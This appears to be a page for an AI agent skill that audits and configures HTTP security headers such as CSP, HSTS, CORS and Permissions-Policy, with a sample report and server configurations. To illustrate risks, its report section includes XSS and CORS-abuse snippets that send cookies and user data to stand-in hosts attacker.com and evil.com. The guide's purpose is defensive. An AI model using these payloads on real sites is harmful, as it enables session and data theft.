Loading...
Loading...
Validate and implement HTTP security headers to protect web applications.
npx skill4agent add curiouslearner/devkit security-headersContent-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'default-srcscript-srcstyle-srcimg-srcfont-srcconnect-srcframe-srcframe-ancestorsbase-uriform-actionStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadmax-ageincludeSubDomainspreloadX-Frame-Options: DENYDENYSAMEORIGINALLOW-FROM uriX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockReferrer-Policy: strict-origin-when-cross-originno-referrerno-referrer-when-downgradeoriginorigin-when-cross-originsame-originstrict-originstrict-origin-when-cross-originunsafe-urlPermissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()Cross-Origin-Resource-Policy: same-originCross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-origin@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000# Check all headers
curl -I https://example.com
# Check specific header
curl -I https://example.com | grep -i "content-security-policy"
# Follow redirects
curl -IL https://example.com
# Detailed headers
curl -v https://example.com 2>&1 | grep -i "^< "# Mozilla Observatory
curl "https://http-observatory.security.mozilla.org/api/v1/analyze?host=example.com"
# Security Headers
curl "https://securityheaders.com/?q=example.com&followRedirects=on"# Node.js header checker
node check-headers.js https://example.com
# Python header scanner
python3 scan_headers.py https://example.com# Security Headers Analysis Report
**Website**: https://example.com
**Scan Date**: 2024-01-15 14:30:00 UTC
**Scanner**: Security Headers Analyzer v2.0
---
## Overall Security Score
**Grade**: C
**Score**: 62/100
🔴 Critical Issues: 2
🟠 High Priority: 3
🟡 Medium Priority: 4
🟢 Low Priority: 2
**Status**: ⚠️ NEEDS IMPROVEMENT
---
## Executive Summary
Your website is vulnerable to several common attacks due to missing or misconfigured security headers. The most critical issues are:
1. Missing Content-Security-Policy (enables XSS attacks)
2. Missing Strict-Transport-Security (vulnerable to MITM)
3. Permissive CORS configuration
**Immediate Actions Required**: Implement CSP and HSTS headers
---
## Header Analysis
### ✅ Headers Present (3)
#### X-Content-Type-Options: nosniff
**Status**: ✅ Correctly configured
**Grade**: A+
**Purpose**: Prevents MIME-sniffing attacks
```http
X-Content-Type-Options: nosniffX-Frame-Options: DENYReferrer-Policy: strict-origin-when-cross-origin<!-- Attacker can inject: -->
<script>
// Steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Hijack session
window.location = 'https://attacker.com/phishing';
</script>Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requestsconst helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
}));add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"// Use CSP in report-only mode first
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// Backend endpoint to collect violations
app.post('/csp-report', (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});User types: http://example.com
→ Attacker intercepts unencrypted initial request
→ Serves malicious page or steals credentials
→ Even if site redirects to HTTPS, initial request is vulnerableStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadapp.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"1. Visit: https://hstspreload.org/
2. Ensure max-age >= 31536000 (1 year)
3. Include includeSubDomains directive
4. Include preload directive
5. Submit domain for preload listPermissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
);
next();
});add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;# Allow geolocation for your domain only
Permissions-Policy: geolocation=(self), microphone=(), camera=()
# Allow camera for specific domain
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()Cross-Origin-Resource-Policy: same-originapp.use((req, res, next) => {
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
next();
});same-originsame-sitecross-originCross-Origin-Embedder-Policy: require-corpAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true// Any malicious site can make authenticated requests:
fetch('https://example.com/api/user/data', {
credentials: 'include' // Sends cookies
})
.then(res => res.json())
.then(data => {
// Attacker steals user data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});// Express.js - Dynamic CORS
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});const cors = require('cors');
app.use(cors({
origin: function(origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: 600
}));set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;X-XSS-Protection: 1; mode=block// Remove X-XSS-Protection
// Instead, implement strong CSP
app.use(helmet({
xssFilter: false, // Disable deprecated header
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}));| Category | Score | Grade |
|---|---|---|
| XSS Protection | 20/30 | D |
| Clickjacking Protection | 10/10 | A+ |
| HTTPS Enforcement | 0/20 | F |
| Information Disclosure | 15/15 | A |
| CORS Configuration | 0/15 | F |
| Browser Features | 0/10 | F |
| Overall | 45/100 | F |
<!-- Stored XSS -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- Reflected XSS -->
https://example.com/search?q=<script>alert(document.cookie)</script>1. User connects to http://example.com (unencrypted)
2. Attacker intercepts and serves fake login page
3. User enters credentials
4. Attacker captures credentials// From attacker.com:
fetch('https://example.com/api/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Exfiltrate data
navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});// Remove wildcard CORS
- Access-Control-Allow-Origin: *
// Implement origin whitelist
+ Access-Control-Allow-Origin: https://app.example.com# Test CORS from allowed origin
curl -H "Origin: https://app.example.com" \
-I https://example.com/api/data
# Test CORS from disallowed origin (should fail)
curl -H "Origin: https://evil.com" \
-I https://example.com/api/dataadd_header Strict-Transport-Security "max-age=300" always;# Verify HSTS header
curl -I https://example.com | grep -i strict-transport-security
# Test forced HTTPS
curl -IL http://example.com
# Should redirect to https://Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-reportContent-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...# Check CSP header
curl -I https://example.com | grep -i content-security-policy
# Verify CSP effectiveness
# Open DevTools Console, check for CSP violationsPermissions-Policy: geolocation=(), microphone=(), camera=()Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin// Remove X-XSS-Protection
- X-XSS-Protection: 1; mode=blockconst express = require('express');
const helmet = require('helmet');
const app = express();
// Generate nonce for CSP
app.use((req, res, next) => {
res.locals.nonce = require('crypto').randomBytes(16).toString('base64');
next();
});
// Security headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: {
action: 'deny'
},
noSniff: true,
xssFilter: false, // Deprecated, use CSP
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=()'
);
next();
});
// CORS configuration
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
}
next();
});
// CSP violation reporting
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
app.listen(3000);server {
listen 443 ssl http2;
server_name example.com;
# SSL configuration
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# Security Headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# CORS
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
location / {
proxy_pass http://localhost:3000;
}
}
# HTTP to HTTPS redirect
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}// Log violations
app.post('/csp-report', (req, res) => {
const violation = req.body['csp-report'];
logger.warn('CSP Violation', {
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
documentURI: violation['document-uri']
});
res.status(204).end();
});
// Alert on critical violations
if (violation['violated-directive'].includes('script-src')) {
alertSecurityTeam(violation);
}
## Notes
- Test headers in staging first
- Use report-only mode for CSP initially
- Monitor CSP violations before enforcing
- Balance security with functionality
- Keep headers updated with best practices
- Regular security audits recommended
- Document all header configurations
- Train team on header security
- Use automated tools for continuous monitoring
- Review headers after major changes